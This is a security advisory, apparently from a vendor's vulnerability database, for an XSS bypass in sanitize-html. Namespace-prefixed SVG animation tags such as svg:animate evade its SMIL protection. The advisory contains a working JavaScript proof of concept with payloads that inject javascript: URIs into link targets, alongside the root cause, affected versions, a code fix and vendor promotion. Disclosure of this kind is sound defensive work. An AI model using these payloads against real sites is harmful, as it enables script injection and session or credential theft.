Summary
ApostropheCMS sanitize-html: SMIL animation namespace-prefix bypass allows javascript: URI injection (XSS)
sanitize-html 2.17.7 introduced animatesUrlAttribute() to block SVG animation elements (animate, animateColor, animateMotion, animateTransform, set) when their attributeName targets a URL sink like href. However, this check is bypassed when the animation element uses a namespace prefix (e.g., svg:animate instead of animate).
Root Cause
The animatesUrlAttribute function (index.js, line ~832) checks svgAnimationTags.indexOf(name.toLowerCase()), where svgAnimationTags contains bare local names: ["animate", "animatecolor", "animatemotion", "animatetransform", "set"]. htmlparser2 passes namespace-prefixed tag names verbatim, so svg:animate does not match animate in the array, causing the function to return false and skip the SMIL XSS protection.
Ironically, the function already handles namespace prefixes correctly for the attributeName target value (line ~843): const localName = target.slice(target.lastIndexOf(":") + 1), but this same stripping was not applied to the tag name itself.
Proof of Concept
const sanitizeHtml = require("sanitize-html");
const config = {
allowedTags: false,
allowedAttributes: false,
allowedSchemes: ["http", "https"]
};
// Standard animate, BLOCKED by 2.17.7 fix
const blocked = sanitizeHtml(
`<svg><a href="#safe"><animate attributeName="href" values="#safe;javascript:alert(1)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
config
);
console.log("Standard animate:", blocked.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BLOCKED
// Namespace-prefixed animate, BYPASSES the fix
const bypassed = sanitizeHtml(
`<svg><a href="#safe"><svg:animate attributeName="href" values="#safe;javascript:alert(document.domain)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
config
);
console.log("svg:animate:", bypassed.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BYPASS
All 5 SMIL animation elements are bypassable with any namespace prefix (svg:, xlink:, xml:, uppercase variants). Tested and confirmed on sanitize-html 2.17.7 from the apostrophe monorepo.
Affected Versions
sanitize-html >= 2.17.7 (where the SMIL animation protection was introduced). Earlier versions lack the SMIL protection entirely.
Credit
Kai Aizen (SnailSploit), Adversarial AI & Security Research
Impact
Cross-site scripting (XSS) via SMIL animation retargeting. When an application uses allowedTags: false (common in rich-text editors that want to preserve SVG), an attacker can inject <svg:animate attributeName="href" values="#safe;javascript:..." .../> to override the href attribute of a parent <a> element after the page loads, causing the link to execute JavaScript when clicked.
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
CVE-2026-113657 has a CVSS score of 3.7 (Low). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.18.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Strip the namespace prefix from the tag name before the lookup, matching the pattern already used for the attribute name target:
// Before (vulnerable):
if (svgAnimationTags.indexOf(name.toLowerCase()) === -1) {
// After (fixed):
const localTagName = name.toLowerCase().slice(name.lastIndexOf(":") + 1);
if (svgAnimationTags.indexOf(localTagName) === -1) {
Frequently Asked Questions
- What is CVE-2026-113657? CVE-2026-113657 is a low-severity cross-site scripting (XSS) vulnerability in sanitize-html (npm), affecting versions >= 2.17.7, < 2.18.0. It is fixed in 2.18.0. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is CVE-2026-113657? CVE-2026-113657 has a CVSS score of 3.7 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of sanitize-html are affected by CVE-2026-113657? sanitize-html (npm) versions >= 2.17.7, < 2.18.0 is affected.
- Is there a fix for CVE-2026-113657? Yes. CVE-2026-113657 is fixed in 2.18.0. Upgrade to this version or later.
- Is CVE-2026-113657 exploitable, and should I be worried? Whether CVE-2026-113657 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-113657 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-113657? Upgrade
sanitize-htmlto 2.18.0 or later.